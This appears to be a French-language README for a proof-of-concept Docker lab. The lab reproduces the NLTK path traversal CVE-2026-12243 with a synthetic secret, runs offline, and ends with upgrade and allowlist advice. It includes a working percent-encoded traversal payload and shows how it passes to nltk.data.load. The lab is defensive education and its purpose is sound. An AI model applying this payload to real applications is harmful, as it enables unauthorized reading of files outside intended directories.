morzelowski/cve-2026-12243-nltk-poc# Laboratoire Docker démontrant le CVE-2026-12243 — traversée de chemin dans NLTK avant la version 3.10.0, comparant le comportement vulnérable et corrigé avec un secret synthétique dans un environnement isolé et hors ligne.
Un petit laboratoire Docker reproductible qui compare le comportement de traversée de chemin encodé en pourcentage dans NLTK 3.9.4 avec le comportement corrigé dans NLTK 3.10.0.
La version vulnérable valide le nom de la ressource avant le décodage d'URL. La
charge utile fixe %2e%2e/%2e%2e/outside/lab-secret.txt passe la vérification,
est ensuite décodée en ../../outside/lab-secret.txt, et s'échappe à la fois du
répertoire de données NLTK configuré et du répertoire de travail du processus.
La version corrigée rejette la même entrée.
[!CAUTION] Ce dépôt est destiné uniquement à l'éducation défensive et aux tests autorisés. Le laboratoire utilise un secret synthétique fixe dans un conteneur isolé. Ne l'adaptez pas pour accéder à des systèmes ou des données que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.
| Conteneur | Version NLTK | Résultat attendu |
|---|---|---|
vulnerable | 3.9.4 | Lit le marqueur synthétique hors de /lab/nltk_data |
patched |
Aucun téléchargement de corpus, serveur, port, montage bind, ni connexion internet au moment de l'exécution n'est utilisé.
docker compose)run.shgit clone https://github.com/morzelowski/CVE-2026-12243-NLTK-PoC.git
cd CVE-2026-12243-NLTK-PoC
docker compose build
./run.sh
Résultat attendu :
=== Vulnerable image: NLTK 3.9.4 ===
NLTK version : 3.9.4
Working directory : /app
Configured data dir: /lab/nltk_data
Encoded resource : %2e%2e/%2e%2e/outside/lab-secret.txt
Decoded resource : ../../outside/lab-secret.txt
Resolved candidate : /outside/lab-secret.txt
NLTK warning : Security Violation [pathsec.open]: Unauthorized path /outside/lab-secret.txt
NLTK result : read 36 bytes
Synthetic marker : CVE-2026-12243-SYNTHETIC-LAB-MARKER
[PASS] Traversal escaped the configured NLTK data directory.
=== Patched image: NLTK 3.10.0 ===
NLTK version : 3.10.0
NLTK result : blocked (ValueError: Unsafe resource path: '...')
[PASS] Patched version rejected the same encoded traversal.
Lab completed: traversal reproduced and patched rejection verified.
L'image affectée signale que /outside/lab-secret.txt n'est pas autorisé mais
renvoie quand même son contenu car NLTK 3.9.4 utilise une sécurité de chemin
avec simple avertissement par défaut. Le texte des exceptions et des
avertissements peut varier légèrement ; run.sh utilise le code de sortie du
processus, et non une correspondance textuelle fragile, pour décider si la
démonstration a réussi.
Chaque image contient cette disposition délibérément séparée :
/
├── app/
│ └── poc.py # le répertoire de travail du processus est /app
├── lab/
│ └── nltk_data/ # racine de recherche NLTK configurée
└── outside/
└── lab-secret.txt # marqueur synthétique public
poc.py remplace nltk.data.path par /lab/nltk_data et transmet le nom de
ressource fixe %2e%2e/%2e%2e/outside/lab-secret.txt à
nltk.data.load(..., format="raw"). Dans la version affectée, le décodage se
produit trop tard dans le flux de validation :
/lab/nltk_data
↓ ../../outside/lab-secret.txt
/outside/lab-secret.txt
Comme le répertoire de travail est /app, le canari se trouve en dehors des
deux emplacements qui comptent pour la démonstration : /app et
/lab/nltk_data.
Le script comporte deux assertions explicites :
Tout autre résultat se termine avec un code de sortie non nul, de sorte que les vérifications automatisées ne peuvent pas signaler un faux succès.
La configuration Compose limite intentionnellement le laboratoire :
network_mode: none désactive la mise en réseau pendant l'exécution de
chaque démonstration.no-new-privileges activé.noexec est accessible en écriture.fixtures/lab-secret.txt, un marqueur de test
public copié dans l'image lors de la construction.La construction de l'image nécessite un accès à l'index des paquets pour installer les deux versions épinglées de NLTK. L'exécution au moment de l'exécution est hors ligne.
nltk.data.load() ou nltk.data.find()Le laboratoire épingle 3.9.4 car c'est la version concrète nommée dans le rapport d'origine et 3.10.0 car c'est la première version corrigée enregistrée par l'avis du mainteneur.
Mettez à niveau NLTK et maintenez-le à jour :
python -m pip install "nltk>=3.10.0"
Évitez également de transmettre des noms de ressources non fiables aux API de chargement depuis le système de fichiers. Lorsqu'une sélection par l'utilisateur est requise, mappez les identifiants visibles par l'utilisateur vers une liste blanche de ressources appartenant à l'application au lieu d'accepter directement des chemins ou des URL.
Exécutez chaque côté indépendamment :
docker compose run --rm vulnerable
docker compose run --rm patched
Inspectez la configuration Compose entièrement résolue :
docker compose config
Supprimez les images de laboratoire construites localement :
docker compose down --rmi local
permission denied: ./run.sh — exécutez chmod +x run.sh une fois.docker: command not found — installez Docker Desktop ou Docker Engine.docker compose build --no-cache.aec4fcePublié sous la licence MIT.
3.10.0| Bloque la traversée encodée |